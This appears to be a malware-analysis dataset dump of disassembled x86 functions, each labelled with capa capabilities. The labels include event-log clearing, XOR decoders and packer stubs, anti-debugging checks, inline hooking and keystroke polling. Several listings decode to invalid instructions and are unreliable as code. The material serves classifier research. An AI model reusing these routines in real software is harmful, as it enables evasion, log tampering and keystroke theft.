joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401820
Capabilities:
Access the windows event log
Clear windows event logs
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
cmp dword [0x847600], 0x400
push esi
push edi
jne 0x40188d
push 0
call dword [sym.imp.USER32.dll_WindowFromDC]
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll__lopen]
push 0
lea ecx, [ebp - 0x824]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_BackupEventLogA]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
lea esi, [ebp - 0x24]
call fcn.00401990
mov ecx, esi
call fcn.004019b0
mov edi, dword [ebp - 4]
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetCaretPos]
xor esi, esi
lea esp, [esp]
cmp esi, 0xa50
jge 0x4018ac
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x2af68b
jle 0x4018c2
cmp edi, 0x78d9a205
jne 0x4018cb
inc esi
cmp esi, 0x1c5d
jl 0x4018a0
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor esi, esi
lea esp, [esp]
push 0
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp esi, 0x206d47
jg 0x4018fd
inc esi
cmp esi, 0x4f6a4
jl 0x4018e0
mov ebx, dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
xor esi, esi
push 0
call edi
cmp esi, 0x2b259d
jle 0x40191c
cmp ebx, 0x785074d5
jne 0x401925
inc esi
cmp esi, 0x11915
jl 0x401908
mov edx, dword [0x428494]
mov eax, dword [0x428468]
mov dword [0x847600], edx
mov dword [0x847604], eax
call fcn.00401600
mov esi, dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
mov edi, 0x3078f
pop ebx
lea esp, [esp]
cmp dword [0x847600], 0x51f
jne 0x40196c
push 0
lea ecx, [ebp - 0x424]
push ecx
push str.kuzekaziguzedabixuve
call esi
sub edi, 1
jne 0x401950
mov eax, dword [0x846554]
mov dword [0x846b94], eax
call eax
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x40420b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x427420]
jne 0x404215
repz ret
jmp fcn.00407a7c
Function at 0x409f2a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040636e
and dword [ebp - 4], 0
cmp dword [0x429304], 0
mov ebx, eax
jne 0x409fdb
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40a08c
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40a08c
push eax
call fcn.004062fc
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x429304], eax
call esi
push eax
call fcn.004062fc
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x429308], eax
call esi
push eax
call fcn.004062fc
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x42930c], eax
call esi
push eax
call fcn.004062fc
pop ecx
mov dword [0x429314], eax
test eax, eax
je 0x409fdb
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004062fc
pop ecx
mov dword [0x429310], eax
mov eax, dword [0x429310]
cmp eax, ebx
je 0x40a033
cmp dword [0x429314], ebx
je 0x40a033
push eax
call fcn.00406377
push dword [0x429314]
mov esi, eax
call fcn.00406377
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40a033
test edi, edi
je 0x40a033
call esi
test eax, eax
je 0x40a02a
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40a02a
test byte [ebp - 0xc], 1
jne 0x40a033
or dword [ebp + 0x10], 0x200000
jmp 0x40a06c
mov eax, dword [0x429308]
cmp eax, ebx
je 0x40a06c
push eax
call fcn.00406377
pop ecx
test eax, eax
je 0x40a06c
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40a06c
mov eax, dword [0x42930c]
cmp eax, ebx
je 0x40a06c
push eax
call fcn.00406377
pop ecx
test eax, eax
je 0x40a06c
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x429304]
call fcn.00406377
pop ecx
test eax, eax
je 0x40a08c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40a08e
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x408942
Capabilities:
Encode data using xor

Disassembly:
push 0x4085d8
pop esi
add edi, 0xcf0b718e
call fcn.00408984
add edi, 0x7258ee9f
xor dword [ebx], esi
add edi, 0xf1bc069f
sub edi, eax
add ebx, 1
add eax, eax
mov edi, 0x86ad6419
cmp ebx, edx
jne fcn.00408942
mov eax, eax
mov eax, 0x15e4aad4
ret
Function at 0x4127fe
Capabilities:
Check for software breakpoints
Encode data using xor

Disassembly:
pop esi
xor ch, al
adc dword [edx - 3], ecx
mov dh, 7
and dword [eax + 0x13dd8763], esi
invalid

Function at 0x46bdaa
Capabilities:
Encode data using xor

Disassembly:
add al, 0x4a
sal dword [esi - 0x754b8508], 0x59
aad 0x80
invalid
sub al, 0xe6
xor byte [0x259ec5e6], cl
xlatb
mov ch, 0x66
add dword [ebp - 0x5ef80a6e], ecx
jp 0x46bd5c
mov ah, 0xdd
test al, 0xbb
stc
call 0xe0327412
daa
fisubr word [edi]
sbb dl, byte [edx]
stc
push es
cmpsb byte [esi], byte es:[edi]
sbb byte [0xd484c237], al
dec edi
cmc
salc
mov cl, 0x1a
cdq
pop ecx
popal
push es
and byte [esi - 0x11c9bab7], 0xc3
ja 0x46be62
push ebp
xor byte [edi + ebx*2], al
sub byte [esi], 0x36
cmp byte [edx + 0x324a5765], bl
movsd dword es:[edi], dword [esi]
mov ebp, dword [ecx + 0x446441b5]
and dh, byte [ebp + 0x2e3836d4]
dec edx
cld
push ebp
mov dword [esi], esi
inc esi
adc dword [esi - 0x6a018bcc], 0xb94676e8
dec ecx
mov eax, 0x2eee1d3c
cmc
dec esp
sbb eax, 0x914027fb
invalid
cmp bh, byte [esi - 0x1dfb5a7f]
adc dword [ecx + 0x311139f3], edi
pop esi
xor dword [edx + 0x39], ebp
lcall 0x22b5, 0x92c197ff
hlt
inc eax
xor al, 0xd7
xchg byte [eax + 0x28a42593], dh
lds edx, [edx]
adc edi, edi
loopne 0x46bee9
mov edx, 0x5a5d1066
sbb esp, dword [eax + 0x1d34c37]
mov edx, 0x7f0fb891
pop esp
jg 0x46be9b
mov word [edi], ds
nop
and edx, dword [ecx - 0x7553fd0b]
jl 0x46be8f
imul eax, dword [edx + 0x78], 0xffffffc3
pop ecx
nop
xor dword [edx], ecx
pushfd
dec esi
int1
push fs
outsb dx, byte [esi]
mov ch, 0x12
mov dl, 0x5c
jb 0x46be48
mov ecx, 0x93908d9d
push edx
lds esp, [ecx + esi*4]
dec ebp
lodsb al, byte [esi]
mul byte [ecx + 0x1c]
and esi, dword [ebx - 0x119accb5]
cmp eax, 0xed320fa1
cmpsd dword [esi], dword es:[edi]
push ebp
push esp
js 0x46bf06
mov dh, pe_nt_image_headers32
adc dh, dl
xchg edx, eax
xlatb
and eax, 0x929b933f
inc edx
xor bh, byte [esi + 0x4e]
dec ebp
invalid
repe cmpsd dword [esi], dword es:[edi]
call 0x3af95490
inc edx
inc ebp
invalid
in eax, dx
fcmovnbe st(0), st(0)
jmp 0xa1dff005
Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..data
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408f6c
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x247070cf
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x430060
mov eax, section..data_1
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e3d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x6c540dd1
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4300c0
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x50ce50
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.QNhjSkbP
lea edi, [esi - 0x9000]
push edi
or ebp, 0xffffffff
jmp 0x50ce72
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x50ce79
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50ce68
mov eax, 1
add ebx, ebx
jne 0x50ce8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x50ce80
jne 0x50ce9c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x50ce80
xor ecx, ecx
sub eax, 3
jb 0x50ceb0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x50cf22
mov ebp, eax
add ebx, ebx
jne 0x50cebb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x50cec8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x50ceec
inc ecx
add ebx, ebx
jne 0x50ced8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x50cecd
jne 0x50cee9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x50cecd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x50cf0c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x50cefd
jmp 0x50ce6e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x50cf0c
add edi, ecx
jmp 0x50ce6e
pop esi
lea edi, [esi + 0xa000]
mov eax, dword [edi]
or eax, eax
je 0x50cf6b
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xeacc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xeb24]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x50cf29
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xeb2c]
or eax, eax
je 0x50cf65
mov dword [ebx], eax
add ebx, 4
jmp 0x50cf46
call dword [esi + 0xeb28]
mov ebp, dword [esi + 0xeb30]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x50cf9f
sub esp, 0xffffff80
jmp section.bUItIFMf

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408ecc
nop
mov ecx, 0x5ef02ff0
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
mov ecx, 0x707b0405
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x4117af
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov edi, dword [ebp + 8]
cmp word [edi], 0x5a4d
jne 0x411824
mov edx, edi
add edx, dword [edi + 0x3c]
cmp word [edx], 0x4550
jne 0x411824
mov dword [ebp - 0xc], edx
mov eax, dword [edx + 0x78]
add eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov eax, dword [eax + 0x20]
add eax, dword [ebp + 8]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 8]
cmp ecx, dword [edx + 0x18]
jge 0x411824
mov ebx, dword [ebp - 4]
mov ebx, dword [ebx + ecx*4]
add ebx, dword [ebp + 8]
push dword [ebp + 0xc]
push ebx
call fcn.00411580
cmp eax, 1
je 0x411804
inc ecx
jmp 0x4117e2
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x24]
add eax, dword [ebp + 8]
xor ebx, ebx
mov bx, word [eax + ecx*2]
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x1c]
add eax, dword [ebp + 8]
mov edx, dword [eax + ebx*4]
add edx, dword [ebp + 8]
jmp 0x411826
xor eax, eax
mov esp, ebp
pop ebp
ret 8

Function at 0x411830
Capabilities:
Access peb ldr_data

Disassembly:
xor edx, edx
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov ebx, dword [ebx]
mov edx, dword [ebx + 0x10]
mov dword [0x412c24], edx
mov ebx, dword [ebx]
mov ebx, dword [ebx + 0x10]
mov dword [0x412c20], ebx
ret

Function at 0x4118e6
Capabilities:
Execute anti-debugging instructions

Disassembly:
push eax
mov edi, eax
mov esi, 0x412020
mov ecx, dword [0x4115b8]
shr ecx, 1
dec ecx
mov bl, byte [0x4115bc]
rdtsc
push eax
mov bh, byte [esi]
inc esi
mov byte [edi], bh
inc edi
mov al, byte [esi]
stosb byte es:[edi], al
add byte [edi - 1], bl
inc esi
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
loop 0x411906
rdtsc
pop edx
sub eax, edx
pop edx
push edx
push 0
push 0
push 0x4119dc
call dword [fcn.00411c2a]
push 0x4119a1
push eax
call dword [fcn.00411c3a]
mov dword [fcn.00411c1e], eax
push 0
push 2
push 0x4119da
push 0x4119b0
call dword [fcn.00411c1e]
pop edx
sub edx, eax
ret

Function at 0x431005
Capabilities:
Encode data using xor

Disassembly:
pushal
mov eax, section..rsrc
nop
nop
mov ebx, 0x40915c
mov ecx, 0x70a02291
nop
nop
test eax, eax
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x431024
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x9b0260b
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x431084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403e6a
sub eax, 0x403e10
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x431030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43101e
nop
nop
nop
popal
nop
nop
nop
nop
jmp fcn.00401219

Function at 0x503b67
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x505076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x505298], eax
mov dword [0x505220], 0x5032dd
mov dword [0x50521c], 2
jmp 0x503b97
mov dword [0x505224], 0
mov dword [0x505228], 0
mov dword [0x505218], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x50522c], eax
mov dword [0x505240], 0x504088
mov dword [0x505238], 0xf
mov dword [0x50506e], eax
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
mov dword [0x505230], eax
mov dword [0x505244], eax
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [0x505234], eax
push 0x505218
call dword [sym.imp.USER32.dll_RegisterClassExA]
push 0
push dword [0x50506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push 0x5040d1
push 0x504088
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x505290], eax
push 5
push dword [0x505290]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [0x505290]
call dword [sym.imp.USER32.dll_UpdateWindow]
jmp 0x503c6a
push 0
push 0
push 0
push 0x505248
call dword [sym.imp.USER32.dll_GetMessageA]
or eax, eax
je 0x503c97
push 0x505248
call dword [sym.imp.USER32.dll_TranslateMessage]
push 0x505248
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x503c6a
mov eax, dword [0x505250]
jmp 0x503ca4
call 0x502b16
ret
Function at 0x10002eb0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10015098
push 0x1000c9a9
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x1001700c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov ebx, edx
mov esi, ecx
mov dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x40
mov edi, dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub ebx, esi
sub ebx, 5
mov byte [esi], 0xe9
mov dword [esi + 1], ebx
mov eax, 5
mov dword [ebp - 0x28], eax
cmp eax, edi
jae 0x10002f20
mov byte [esi + eax], 0x90
inc eax
jmp 0x10002f12
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x10002f3a
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1000c9d8
mov esp, ebp
pop ebp
ret
Function at 0x10006270
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], edx
push edi
call dword [sym.imp.USER32.dll_GetKeyState]
cwde
shr eax, 0x10
test eax, eax
je 0x100062ca
cmp byte [edi*8 + 0x10019fa8], 0
lea esi, [edi*8 + 0x10019fac]
je 0x100062af
cmp dword [esi], 0
je 0x100062d2
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [esi]
add ecx, dword [ebp - 4]
cmp ecx, eax
ja 0x100062d2
mov byte [edi*8 + 0x10019fa8], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esi], eax
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov byte [edi*8 + 0x10019fa8], 0
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100098e0
Capabilities:
Check for time delay via gettickcount
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x20
mov eax, dword [0x1001700c]
xor eax, esp
mov dword [esp + 0x1c], eax
mov eax, dword [0x100197a0]
push esi
push edi
cmp dword [eax], 1
jne 0x100099f6
cmp dword [0x10017ef8], 0
je 0x100099f6
movzx eax, byte [0x100195e5]
lea ecx, [esp + 8]
mov dword [esp + 8], eax
mov eax, dword [0x100195d0]
push ecx
mov dword [esp + 0x10], eax
lea eax, [esp + 0x14]
push eax
push ecx
lea ecx, [esp + 0x1c]
call fcn.1000b1a0
mov edi, dword [esp + 0x14]
xor ecx, ecx
mov edx, dword [esp + 0x10]
sub edi, edx
mov esi, dword [0x100196d8]
sar edi, 2
test edi, edi
je 0x1000995e
mov eax, dword [edx + ecx*4]
inc ecx
add eax, dword [esi]
mov esi, eax
cmp ecx, edi
jb 0x10009952
test edx, edx
je 0x10009995
mov ecx, dword [esp + 0x18]
mov eax, edx
sub ecx, edx
and ecx, 0xfffffffc
cmp ecx, 0x1000
jb 0x1000998b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1000998b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.1000cd28
add esp, 8
push 1
call dword [sym.imp.USER32.dll_GetKeyState]
cwde
shr eax, 0x10
test eax, eax
je 0x100099ef
cmp byte [0x10019fb0], 0
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
je 0x100099ca
cmp dword [0x10019fb4], 0
je 0x100099f6
call edi
mov ecx, dword [0x10019fb4]
inc ecx
cmp ecx, eax
ja 0x100099f6
mov byte [0x10019fb0], 1
call edi
mov dword [0x10019fb4], eax
mov dword [esi], 5
pop edi
pop esi
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.1000c9d8
mov esp, ebp
pop ebp
ret
mov byte [0x10019fb0], 0
mov ecx, dword [esp + 0x24]
pop edi
pop esi
xor ecx, esp
call fcn.1000c9d8
mov esp, ebp
pop ebp
ret
Function at 0x1000a3a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub dword [ebp + 0xc], 1
jne 0x1000a3c6
push 0
push 0
push dword [ebp + 8]
push 0x1000a230
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop ebp
ret 0xc

Function at 0x1000a830
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x1000a85c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x20], esi
mov ecx, dword [eax]
lea eax, [ebx + 0x30]
mov dword [esp + 0x24], edi
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], eax
test ecx, ecx
je 0x1000a884
mov eax, dword [eax]
mov ecx, dword [eax]
jmp 0x1000a88a
xor ecx, ecx
mov dword [esp + 0x18], eax
mov eax, ecx
cdq
mov dword [esp + 0x10], eax
mov ecx, edx
mov dword [esp + 0x14], ecx
test edi, edi
jl 0x1000a8f2
jg 0x1000a8a1
test esi, esi
je 0x1000a8f2
test ecx, ecx
jl 0x1000a8ed
jg 0x1000a8ab
test eax, eax
je 0x1000a8ed
cmp edi, ecx
jg 0x1000a8bf
jl 0x1000a8b5
cmp esi, eax
jae 0x1000a8bf
mov eax, esi
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x24]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [esp + 0x24]
add esp, 0xc
mov edx, dword [esp + 0x10]
mov ecx, dword [ebp + 8]
add ecx, edx
sub esi, edx
mov eax, dword [eax]
sbb edi, dword [esp + 0x14]
sub dword [eax], edx
mov eax, dword [ebx + 0x20]
add dword [eax], edx
jmp 0x1000a8f5
mov ecx, dword [ebp + 8]
jmp 0x1000a8ff
mov ecx, dword [ebp + 8]
test edi, edi
jl 0x1000a919
jg 0x1000a8ff
test esi, esi
je 0x1000a919
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x1000a919
push eax
push esi
push 1
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1000a930
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 4], esi
test eax, eax
jg 0x1000a95c
jl 0x1000a950
test ecx, ecx
jne 0x1000a95c
pop esi
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x1000a975
push eax
push ecx
push esi
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
push edi
mov edi, ecx
mov eax, dword [eax]
mov dword [ebp - 8], eax
test eax, eax
je 0x1000a9c3
mov eax, dword [ebx + 0x2c]
lea edx, [ebx + 0x2c]
mov dword [ebp - 0xc], edx
mov eax, dword [eax]
test eax, eax
je 0x1000a9c9
mov edi, dword [ebp - 4]
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push dword [ebp - 8]
push edi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebx + 0x2c]
add edi, esi
mov dword [ebp - 4], edi
add esp, 0xc
mov edi, dword [ebp + 0xc]
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov esi, dword [ebp - 4]
jmp 0x1000a9c9
lea eax, [ebx + 0x2c]
mov dword [ebp - 0xc], eax
cmp dword [ebx + 0x4c], 0
je 0x1000aa36
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x1000a9f2
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov dword [eax], edx
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
cmp edi, 0xfff
jbe 0x1000aa24
nop
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call eax
add esp, 0x10
add esi, eax
sub edi, eax
cmp eax, 0xfff
jne 0x1000aa36
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x1000aa00
test edi, edi
je 0x1000aa36
push dword [ebx + 0x4c]
push edi
push 1
push esi
call eax
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc